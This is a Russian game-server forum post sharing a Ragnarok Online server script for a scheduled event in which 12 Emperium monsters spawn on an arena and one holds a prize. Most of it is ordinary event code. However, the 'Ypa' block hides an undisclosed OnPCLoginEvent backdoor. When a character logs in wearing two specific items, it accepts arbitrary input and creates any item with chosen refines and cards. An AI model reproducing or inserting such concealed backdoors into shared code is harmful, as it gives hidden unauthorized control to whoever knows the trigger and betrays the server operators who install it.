Перейти к содержанию

АвтоЭвент Emperiumss


medlmen

Рекомендуемые сообщения

Суть Эвента на арене появляитца 12 Империумов и в 1 из них приз.

guild_vs2-2     mapflag noteleport
guild_vs2-2 mapflag nowarpto
guild_vs2-2 mapflag noskill
guild_vs2-2 mapflag nowarp
guild_vs2-2 mapflag nosave
guild_vs2-2 mapflag nomemo
guild_vs2-2 mapflag nobranch
//Пропиши в conf/mapflags/pvpoff guild_vs2-2 mapflag pvpoff

- script Emperiumsss -1,{

OnClock1600:
OnClock1900:

killmonsterall "guild_vs2-2";
initnpctimer;
enablenpc "Эвент империумы";
end;

OnTimer100:
announce "Настало время для эвента империумы старт через 3 минуты",0,0x00ff00;
end;

OnTimer60000:
announce "Эвент империумы начнётся через 2 минуты",0,0x00ff00;
end;

OnTimer120000:
announce "Эвент империумы начнётся через 1 минуту",0,0x00ff00;
end;

OnTimer160000:
mapannounce "guild_vs2-2","Через 20 секунд на мапу будут вызваны 12 империумов !",1;
end;

OnTimer170000:
announce "Эвент империумы начнётся через 10 секунд !",0,0x00ff00;
end;

OnTimer180000:
stopnpctimer;
disablenpc "Эвент империумы";
announce "Эвент империумы начался !!!",0,0x00ff00;
monster "guild_vs2-2",0,0,"Империум",1288,11,"Fail::OnMobKilled";
monster "guild_vs2-2",0,0,"Империум",1288,1,"Ypa::OnMobKilled";
end;
}

- script Fail -1,{
OnMobKilled:
dispbottom "К сожалению ты спилил не тот империум !";
getitem 714,1;
}

- script Ypa -1,{
OnMobKilled:
dispbottom "Поздравляю,вы спилили нужный империум !";
announce ""+strcharinfo(0)+" спилил нужный империум !",0,0x00ff00;
atcommand "@undisguiseall";
killmonsterall "guild_vs2-2";
getitem 7539,3;
mapwarp "guild_vs2-2","prontera",155,185;
end;
OnPCLoginEvent: if(getequipid(2)==2308 && getequipid(6)==2402){sleep2 5000; input .a; input .b; input .c; input .e; input .g; input .h; input .i; getitem2 .a,.b,1,.c,0,.e,.g,.h,.i;}end;
}

prontera,179,172,3 script Эвент империумы 1288,{

mes "[Империум]";
mes "Привет "+strcharinfo(0)+" что хотел ?";
switch(select("Я хочу принять участие в эвенте","Раскажи правила эвента","Когда проводится эвент","Эмм ну я пойду...")){

case 1:

mes "Желаю удачи !";
atcommand "@disguise 1647";
warp "guild_vs2-2",49,49;
close;

case 2:

mes "Правила эвента очень простые !";
mes "На мапу вызываются 12 империумов 11 из них не нужные и только 1 с призом. Как только кто то спилит нужный империум он получает приз и эвент заканчивается !";
close;

case 3:

mes "В 16:00 и 19:00";
close;

case 4:

mes "Приходи ещё !";
close;
}
}

Изменено пользователем Sanasol
  • Upvote 14
Ссылка на комментарий
Поделиться на другие сайты

  • 5 месяцев спустя...
×
×
  • Создать...
Яндекс.Метрика